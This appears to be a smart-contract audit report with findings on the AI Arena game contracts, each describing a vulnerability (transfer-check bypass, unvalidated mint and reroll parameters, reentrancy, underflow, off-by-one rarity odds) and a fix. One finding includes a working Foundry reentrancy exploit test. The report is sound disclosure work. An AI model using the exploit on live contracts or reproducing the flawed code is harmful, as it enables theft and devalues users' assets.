AI Arena - haxatron's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L289-L303

Vulnerability details

Impact

A game item is represented by an ERC1155 token and has additional properties. One of these properties is whether or not it can be transferrable between users. One reason why a game item would be made non-transferrable is to prevent users from selling their tokens to the open market, therefore increasing its rarity and making it only purchasable from the GameItems contract. (if you are a MMORPG gamer 😎, you would understand this point better!)

Before transferring a game item, it overrides safeTransferFrom and adds an additional check whether the item can be transferred.

GameItems.sol#L289-L303

    /// @notice Safely transfers an NFT from one address to another.
    /// @dev Added a check to see if the game item is transferable.
    function safeTransferFrom(
        address from, 
        address to, 
        uint256 tokenId,
        uint256 amount,
        bytes memory data
    ) 
        public 
        override(ERC1155)
    {
        require(allGameItemAttributes[tokenId].transferable);
        super.safeTransferFrom(from, to, tokenId, amount, data);
    }

However, in ERC1155, there is another method to transfer tokens which is safeBatchTransferFrom

ERC1155.sol#L120-L132

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory values,
        bytes memory data
    ) public virtual {
        address sender = _msgSender();
        if (from != sender && !isApprovedForAll(from, sender)) {
            revert ERC1155MissingApprovalForAll(sender, from);
        }
        _safeBatchTransferFrom(from, to, ids, values, data);
    }

Since, GameItems inherits from ERC1155 and the GameItems contract does not override safeBatchTransferFrom. A user can bypass the transferrable check by calling safeBatchTransferFrom to transfer a non-transferable game item.

As a result, these game items can be sold on the open market which will devalue the items and users will buy the game items at a lower price on the open market than the GameItems contract.

Tools Used

Manual Review

Recommended Mitigation Steps

Override safeBatchTransferFrom and perform the additional transferable check before calling super.safeBatchTransferFrom

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L495

Vulnerability details

Impact

In redeemMintPass there isn't verification of whether the parameters being passed into the contract matches the parameters of the mint pass.

For instance, if you observe the code below anyone can select a fighterTypes, iconTypes and mintPassDnas of their own choosing, so long as they own a valid mint pass because there are missing validations whether the mintPassDnas, fighterTypes and iconsTypes match the ones specified in the mint pass.

FighterFarm.sol#L224-L262

    function redeemMintPass(
        uint256[] calldata mintpassIdsToBurn,
        uint8[] calldata fighterTypes,
        uint8[] calldata iconsTypes,
        string[] calldata mintPassDnas,
        string[] calldata modelHashes,
        string[] calldata modelTypes
    ) 
        external 
    {
        require(
            mintpassIdsToBurn.length == mintPassDnas.length && 
            mintPassDnas.length == fighterTypes.length && 
            fighterTypes.length == modelHashes.length &&
            modelHashes.length == modelTypes.length
        );
        for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
            require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
            _mintpassInstance.burn(mintpassIdsToBurn[i]);
            _createNewFighter(
                msg.sender, 
                uint256(keccak256(abi.encode(mintPassDnas[i]))), 
                modelHashes[i], 
                modelTypes[i],
                fighterTypes[i],
                iconsTypes[i],
                [uint256(100), uint256(100)]
            );
        }
    }

According to my communication with the sponsor, this isn't intended behaviour because, for instance a user with a Champion fighter type mint pass should only be able to mint a Champion fighter type mint pass with the specified DNA stored in the mint pass tokenURI.

This allows them to

1. Mint the rarer Dendroid fighter type of NFT while only having Champion mint pass, which decreases the exclusivity and rarity of the Dendroid fighter NFTs and therefore their value.

2. Mint fighters with any iconTypes (which are rare) of their choosing.

3. Freely choose the stats (element, weight, physical attributes) of the fighter as the DNA is used to deterministically determine the stats of the fighter. While the sponsor says that the stats are balanced and do not have any advantage over the other, perfect game balance is not entirely achievable (ie. certain set of stats may, unknowingly to the sponsor, be more powerful than others), and this violates the randomness property of stats if the user can pick and choose what stats they want their fighter to be.

Furthermore, physical attributes have various rarities (Bronze, Silver, Gold, Diamond) and therefore it is possible to obtain the highest rarity attribute by choosing the exact DNA.

Tools Used

Manual Review

Recommendation

Verify that the fighterTypes, iconTypes and mintPassDnas match the ones stored in the mint pass being used.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L367-L391

Vulnerability details

Impact

Below is the reroll function that allows a user to reroll the stats of the character

FighterFarm.sol#L367-L391

    /// @notice Rolls a new fighter with random traits.
    /// @param tokenId ID of the fighter being re-rolled.
    /// @param fighterType The fighter type.
    function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }    

Notice that instead of using the original token's fighterType, a user can specify an arbitrary fighter type which is not matching against the original fighterType

There are 2 possible impacts of this:

1. Increase max rerolls, we check the max rerolls for a fighter type in the maxRerollsAllowed[fighterType] mapping, if our fighter type is a champion and maxRerollsAllowed["champion"] < maxRerollsAllowed["dendroid"], then user might as well pass in fighterType as Dendroid for our Champion fighter to bypass the max reroll limit.

2. Obtaining stats of other fighter type, the new stats is calculated via _createFighterBase(dna, fighterType). Therefore we can obtain stats of a Dendroid as a Champion fighter.

Tools Used

Manual Review

Recommended Mitigation Steps

Use the original token's fighterType instead of the fighterType passed into the function.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L470

Vulnerability details

Impact

In FighterFarm.sol there is a mapping numElements which stores the number of possible types of elements a fighter can have in a generation:

FighterFarm.sol#L84-L85

    /// @notice Mapping of number elements by generation.
    mapping(uint8 => uint8) public numElements;

But the problem here is that only the initial generation, Generation 0, is initialized to 3, in the numElements mapping during the constructor of FighterFarm.sol.

FighterFarm.sol#L100-L111

    /// @notice Sets the owner address, the delegated address.
    /// @param ownerAddress Address of contract deployer.
    /// @param delegatedAddress Address of delegated signer for messages.
    /// @param treasuryAddress_ Community treasury address.
    constructor(address ownerAddress, address delegatedAddress, address treasuryAddress_)
        ERC721("AI Arena Fighter", "FTR")
    {
        _ownerAddress = ownerAddress;
        _delegatedAddress = delegatedAddress;
        treasuryAddress = treasuryAddress_;
        numElements[0] = 3;
    } 

It is therefore not possible to write to the numElements mapping for any other generations. As they are uninitialized, numElements[i] = 0 when i != 0

Moreover, this numElements mapping is read from when creating a fighter

FighterFarm.sol#L458-L474

    /// @notice Creates the base attributes for the fighter.
    /// @param dna The dna of the fighter.
    /// @param fighterType The type of the fighter.
    /// @return Attributes of the new fighter: element, weight, and dna.
    function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
=>      uint256 element = dna % numElements[generation[fighterType]]; // numElements is 0 when generation[fighterType] != 0.
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

Therefore if the protocol updates to a new generation of fighters, it will not be able to create anymore new fighters as numElements[generation[fighterType]] will be uninitialized and therefore equal 0. This will cause the transaction to always revert as any modulo by 0 will cause a panic according to Solidity Docs

Modulo with zero causes a Panic error. This check can not be disabled through unchecked { ... }.

Tools Used

Manual Review

Recommended Mitigation Steps

Allow the admin to update the numElements mapping when a new generation is created.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L134-L167

Vulnerability details

Impact

The following function claimRewards in MergingPool.sol is vulnerable to reentrancy.

MergingPool.sol#L134-L167

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;

            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {

                    // reentrancy due to _safeMint here
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }

        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

This is because _fighterFarmInstance.mintFromMergingPool calls _safeMint is called which calls onERC721Received on the owner if the owner is contract. Therefore we can reenter claimRewards function.

Now, suppose the attacker contract wins 2 rounds which we call round 0 and round 1. An attacker contract calls claimRewards

During round 0, _fighterFarmInstance.mintFromMergingPool is called which calls _safeMint which calls onERC721Received on the attacker contract.

If the function onERC721Received calls claimRewards again, it will mint an NFT corresponding to round 1.

When onERC721Received returns control flow back to the original claimRewards, because our currentRound is a local variable instead of a global variable, we will still continue the for loop to mint the NFT for round 1.

In total, using this reentrancy we minted 3 NFTs when we only won 2 rounds.

Proof Of Concept

This test shows how we can exploit the reentrancy to mint 3 NFTs when we only won 2 rounds. Please run with forge test --match-test ClaimRewardsReentrancy -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console, stdError} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {FighterFarm} from "../src/FighterFarm.sol";
import {Neuron} from "../src/Neuron.sol";
import {AAMintPass} from "../src/AAMintPass.sol";
import {MergingPool} from "../src/MergingPool.sol";
import {RankedBattle} from "../src/RankedBattle.sol";
import {VoltageManager} from "../src/VoltageManager.sol";
import {GameItems} from "../src/GameItems.sol";
import {AiArenaHelper} from "../src/AiArenaHelper.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract ClaimRewardsReentrancyTest is Test {
    /*//////////////////////////////////////////////////////////////
                                CONSTANTS
    //////////////////////////////////////////////////////////////*/

    uint8[][] internal _probabilities;
    address internal constant _DELEGATED_ADDRESS = 0x22F4441ad6DbD602dFdE5Cd8A38F6CAdE68860b0;
    address internal _ownerAddress;
    address internal _treasuryAddress;
    address internal _neuronContributorAddress;

    /*//////////////////////////////////////////////////////////////
                             CONTRACT INSTANCES
    //////////////////////////////////////////////////////////////*/

    FighterFarm internal _fighterFarmContract;
    AAMintPass internal _mintPassContract;
    MergingPool internal _mergingPoolContract;
    RankedBattle internal _rankedBattleContract;
    VoltageManager internal _voltageManagerContract;
    GameItems internal _gameItemsContract;
    AiArenaHelper internal _helperContract;
    Neuron internal _neuronContract;

    function getProb() public {
        _probabilities.push([25, 25, 13, 13, 9, 9]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 10]);
        _probabilities.push([25, 25, 13, 13, 9, 23]);
        _probabilities.push([25, 25, 13, 13, 9, 1]);
        _probabilities.push([25, 25, 13, 13, 9, 3]);
    }

    /*//////////////////////////////////////////////////////////////
                                SETUP
    //////////////////////////////////////////////////////////////*/

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);
        getProb();

        _fighterFarmContract = new FighterFarm(_ownerAddress, _DELEGATED_ADDRESS, _treasuryAddress);

        _helperContract = new AiArenaHelper(_probabilities);

        _mintPassContract = new AAMintPass(_ownerAddress, _DELEGATED_ADDRESS);
        _mintPassContract.setFighterFarmAddress(address(_fighterFarmContract));
        _mintPassContract.setPaused(false);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);

        _voltageManagerContract = new VoltageManager(_ownerAddress, address(_gameItemsContract));

        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _rankedBattleContract = new RankedBattle(
            _ownerAddress, address(_fighterFarmContract), _DELEGATED_ADDRESS, address(_voltageManagerContract)
        );

        _rankedBattleContract.instantiateNeuronContract(address(_neuronContract));

        _mergingPoolContract =
            new MergingPool(_ownerAddress, address(_rankedBattleContract), address(_fighterFarmContract));

        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
        _fighterFarmContract.instantiateAIArenaHelperContract(address(_helperContract));
        _fighterFarmContract.instantiateMintpassContract(address(_mintPassContract));
        _fighterFarmContract.instantiateNeuronContract(address(_neuronContract));
        _fighterFarmContract.setMergingPoolAddress(address(_mergingPoolContract));
    }

    /// @notice Helper function to mint an fighter nft to an address.
    function _mintFromMergingPool(address to) internal {
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(to, "_neuralNetHash", "original", [uint256(1), uint256(80)]);
    }

    /// @notice Helper function to fund an account with 4k $NRN tokens.
    function _fundUserWith4kNeuronByTreasury(address user) internal {
        vm.prank(_treasuryAddress);
        _neuronContract.transfer(user, 4_000 * 10 ** 18);
        assertEq(4_000 * 10 ** 18 == _neuronContract.balanceOf(user), true);
    }

    /*//////////////////////////////////////////////////////////////
                                TEST
    //////////////////////////////////////////////////////////////*/
 
    // @notice Test claim reward reentrancy
    function testClaimRewardsReentrancy() public {
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);

        // Check we only have 1 fighter NFT
        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);

        // Winners
        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

        // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);

        // winners of roundId 1 are picked
        _mergingPoolContract.pickWinner(_winners);

        // NFT data
        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);

        // winner claims rewards for previous roundIds
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        // Initially we had 1 NFT. That means...
        // We won 3 NFTs from the merging pool when we won only 2 times from the merging pool!
        assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 4);
    }

    function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {
        // NFT data   
        string[] memory _modelURIs = new string[](1);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](1);
        _modelTypes[0] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](1);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        
        // reenter claimRewards
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        
        // Handle the token transfer here
        return this.onERC721Received.selector;
    }    
}

Recommended Mitigation

Use ReentrancyGuard and add nonReentrant modifier on claimRewards

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/MergingPool.sol#L134-L167

Vulnerability details

Impact

In the MergingPool.sol, users can mint new NFTs via claimRewards function if they are a winner of the merging pool round:

MergingPool.sol#L134-L167

    function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

Notice there is no verification mechanism for the customAttributes passed and therefore the user can pass in arbitrary customAttributes and customise the stats (weight and element) of the fighter according to their liking.

Tools Used

Manual Review

Recommended Mitigation Steps

Ideally, a verification mechanism via signatures should be used to verify the off-chain calculation. On clarification with the sponsor, this is a wont-fix as the stats calculated by offchain logic are optimised and therefore changing them would be a self-sabotage. However, it seems to be counter-intuitive to allow users to manipulate stats which are typically randomly generated.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L367-L392

Vulnerability details

Impact

A user can purchase a reroll to change the stats (element, weight, physical attributes) of their character. The problem is that the stats are calculated deterministically:

FighterFarm.sol#L367-L392

uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

Since the DNA (which determines stats) are calculated deterministically, users can predict ahead of time what stats they will get if they choose to reroll. If they do not get the ideal stats they wanted, then they can just choose not to purchase a reroll.

While the sponsor says that all stats are balanced and do not have any advantage over the other, perfect game balance is not entirely achievable (ie. certain set of stats may, unknowingly to the sponsor, be more powerful than others).

Tools Used

Manual Review

Recommended Mitigation Steps

Ideally, the fix would be to use a Chainlink VRF to generate a random DNA, but the sponsor claims this as a wont-fix. However, since this is a valid concern and it wasn't highlighted in the audit page at the beginning of the competition. It is fair to submit it here.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/StakeAtRisk.sol#L104

Vulnerability details

Impact

In the unstakeNRN function we are only checking that amountStaked[tokenId] == 0 before unlocking the token for transfer via _fighterFarmInstance.updateFighterStaking

RankedBattle.sol#L267-L290

    /// @notice Unstakes NRN tokens.
    /// @param amount The amount of NRN tokens to unstake.
    /// @param tokenId The ID of the token to unstake.
    function unstakeNRN(uint256 amount, uint256 tokenId) external {
        require(_fighterFarmInstance.ownerOf(tokenId) == msg.sender, "Caller does not own fighter");
        if (amount > amountStaked[tokenId]) {
            amount = amountStaked[tokenId];
        }
        amountStaked[tokenId] -= amount;
        globalStakedAmount -= amount;
        stakingFactor[tokenId] = _getStakingFactor(
            tokenId, 
            _stakeAtRiskInstance.getStakeAtRisk(tokenId)
        );
        _calculatedStakingFactor[tokenId][roundId] = true;
        hasUnstaked[tokenId][roundId] = true;
        bool success = _neuronInstance.transfer(msg.sender, amount);
        if (success) {
            if (amountStaked[tokenId] == 0) {
                _fighterFarmInstance.updateFighterStaking(tokenId, false);
            }
            emit Unstaked(msg.sender, amount);
        }
    }

Therefore, we can transfer NFTs that still have some stakeAtRisk to other users.

When this NFT is transferred to a new user. The new user can still play in battles.

If this new user wins a battle let's observe what happens. First, since this NFT has stakeAtRisk for the current round, we first attempt to reclaim the NRN.

RankedBattle.sol#L458-L463

            /// If the user has stake-at-risk for their fighter, reclaim a portion
            /// Reclaiming stake-at-risk puts the NRN back into their staking pool
            if (curStakeAtRisk > 0) {
                _stakeAtRiskInstance.reclaimNRN(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] += curStakeAtRisk;
            }

Since this user is a new user, the mapping, amountLost[fighterOwner] = 0. Therefore it leads to a integer underflow and cause the transaction to revert due to amountLost[fighterOwner] -= nrnToReclaim;.

    function reclaimNRN(uint256 nrnToReclaim, uint256 fighterId, address fighterOwner) external {
        require(msg.sender == _rankedBattleAddress, "Call must be from RankedBattle contract");
        require(
            stakeAtRisk[roundId][fighterId] >= nrnToReclaim, 
            "Fighter does not have enough stake at risk"
        );

        bool success = _neuronInstance.transfer(_rankedBattleAddress, nrnToReclaim);
        if (success) {
            stakeAtRisk[roundId][fighterId] -= nrnToReclaim;
            totalStakeAtRisk[roundId] -= nrnToReclaim;
            amountLost[fighterOwner] -= nrnToReclaim;
            emit ReclaimedStake(fighterId, nrnToReclaim);
        }
    }

Which will cause the entire updateBattleRecord only for the specific round and tokenId.

This can lead to unpredictable results depending on how the server handles failed transactions. According to sponsors they plan to group up failed updateBattleRecord transactions and retry them. However as these transactions will always fail it will cost gas for the protocol as they keep replaying these failed transactions.

Recommended Mitigation Steps

Remove amountLost[fighterOwner] mapping as it is redundant.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L180

Vulnerability details

Impact

To determine what physical attributes a user gets first we obtain a rarityRank which is computed from the DNA.

AiArenaHelper.sol#L106-L110

                } else {
                    uint256 rarityRank = (dna / attributeToDnaDivisor[attributes[i]]) % 100;
                    uint256 attributeIndex = dnaToIndex(generation, rarityRank, attributes[i]);
                    finalAttributeProbabilityIndexes[i] = attributeIndex;
                }

Here since we use % 100 operation is used, the range of rarityRank would be [0,99]

This rarityRank is used in the dnaToIndex to determine the final attribute of the part.

AiArenaHelper.sol#L165-L186

     /// @dev Convert DNA and rarity rank into an attribute probability index.
     /// @param attribute The attribute name.
     /// @param rarityRank The rarity rank.
     /// @return attributeProbabilityIndex attribute probability index.
    function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute) 
        public 
        view 
        returns (uint256 attributeProbabilityIndex) 
    {
        uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute);
        
        uint256 cumProb = 0;
        uint256 attrProbabilitiesLength = attrProbabilities.length;
        for (uint8 i = 0; i < attrProbabilitiesLength; i++) {
            cumProb += attrProbabilities[i];
            if (cumProb >= rarityRank) {
                attributeProbabilityIndex = i + 1;
                break;
            }
        }
        return attributeProbabilityIndex;
    }

There is however, a very subtle bug in the calculation above due to the use of cumProb >= rarityRank as opposed to cumProb > rarityRank

To explain the above, I will perform a calculation using a simple example. Let's say we only have 2 possible attributes and the attrProbabilities is [50, 50].

1. First iteration, when i = 0, we have cumProb = 50, for the if (cumProb >= rarityRank) to be entered the range of values rarityRank can be is [0, 50]. Therefore there is a 51% chance of obtaining this attribute

2. Next iteration, when i = 1, we have cumProb = 100, for the if (cumProb >= rarityRank) to be entered the range of values rarityRank can be is [51, 99]. Therefore there is a 49% chance of obtaining this attribute.

This means that for values in the first index, the probability is 1% greater than intended and for values in the last index the probability is 1% lesser than intended. This can be significant in certain cases, let us run through two of them.

Case 1: The first value in attrProbabilities is 1.

If the first value in attrProbabilities is 1. Let's say [1, 99].

Then in reality if we perform the calculation above we get the following results:

1. First iteration, when i = 0, we have cumProb = 1, for the if (cumProb >= rarityRank) to be entered the range of values rarityRank can be is [0, 1]. Therefore there is a 2% chance of obtaining this attribute

2. Next iteration, when i = 1, we have cumProb = 100, for the if (cumProb >= rarityRank) to be entered the range of values rarityRank can be is [2, 99]. Therefore there is a 98% chance of obtaining this attribute.

Then we have twice the chance of getting the rarer item, which would make it twice as common, thus devaluing it.

Case 2: The last value in attrProbabilities is 1.

If the last value in attrProbabilities is 1. Let's say [99, 1].

Then in reality if we perform the calculation above we get the following results:

1. First iteration, when i = 0, we have cumProb = 99, for the if (cumProb >= rarityRank) to be entered the range of values rarityRank can be is [0, 99]. Therefore we will always enter the if (cumProb >= rarityRank) block.

Then it would be impossible (0% chance) to obtain the 1% item.

Tools Used

Manual Review

Recommended Mitigation Steps

It should be cumProb > rarityRank. Going back to our example of [50, 50], if it were cumProb > rarityRank. Then we will get the following results:

1. First iteration, when i = 0, we have cumProb = 50, for the if (cumProb > rarityRank) to be entered the range of values rarityRank can be is [0, 49]. Therefore there is a 50% chance of obtaining this attribute

2. Next iteration, when i = 1, we have cumProb = 100, for the if (cumProb > rarityRank) to be entered the range of values rarityRank can be is [50, 99]. Therefore there is a 50% chance of obtaining this attribute.

Thus the above recommended mitigation is correct.

Assessed type

Math

[L01]: Users can accidentally waste a voltage battery even if the voltage is fully replenished after the replenish time is over

Observe the following code:

VoltageManager.sol#L91-L99

    /// @notice Uses a voltage battery to replenish voltage for a player in AI Arena.
    /// @dev This function can be called by any user to use the voltage battery.
    function useVoltageBattery() public {
        require(ownerVoltage[msg.sender] < 100);
        require(_gameItemsContractInstance.balanceOf(msg.sender, 0) > 0);
        _gameItemsContractInstance.burn(msg.sender, 0, 1);
        ownerVoltage[msg.sender] = 100;
        emit VoltageRemaining(msg.sender, ownerVoltage[msg.sender]);
    }

To prevent users from wasting a voltage battery it does a check that ownerVoltage[msg.sender] < 100 but if the battery is ready to replenish such that ownerVoltageReplenishTime[spender] <= block.timestamp. However, a user can still accidentally waste a voltage battery if they call useVoltageBattery when they could call spendVoltage which would immediately replenish their battery if ownerVoltageReplenishTime[spender] <= block.timestamp.

[L02]: deleteAttributeProbabilities is redundant and can cause additional problems if accidentally called.

The function deleteAttributeProbabilities is redundant because an admin can already modify the probabilities via addAttributeProbabilities function.

AiArenaHelper.sol#L141-L151

     /// @notice Delete attribute probabilities for a given generation. 
     /// @dev Only the owner can call this function.
     /// @param generation The generation number.
    function deleteAttributeProbabilities(uint8 generation) public {
        require(msg.sender == _ownerAddress);

        uint256 attributesLength = attributes.length;
        for (uint8 i = 0; i < attributesLength; i++) {
            attributeProbabilities[generation][attributes[i]] = new uint8[](0);
        }
    }

Furthermore, it can cause additional problems if accidentally called. For instance if the admin calls deleteAttributeProbabilities on an active generation the attrProbabilities array will be set to 0. This will cause the output of dnaToIndex to be 0 which is invalid and can cause issues with the offchain mechanisms.

[L03]: totalAccumulatedPoints[roundId] > 0 in order to move to next round.

In order to move the round forward we require totalAccumulatedPoints[roundId] > 0

    /// @notice Sets a new round, making claiming available for that round.
    /// @dev Only admins are authorized to move the round forward.
    function setNewRound() external {
        require(isAdmin[msg.sender]);
        require(totalAccumulatedPoints[roundId] > 0);
        roundId += 1;
        _stakeAtRiskInstance.setNewRound(roundId);
        rankedNrnDistribution[roundId] = rankedNrnDistribution[roundId - 1];
    }

In the extreme scenario where no one has accumulated any points and also has stakeAtRisk, admin cannot move round forward as totalAccumulatedPoints[roundId] = 0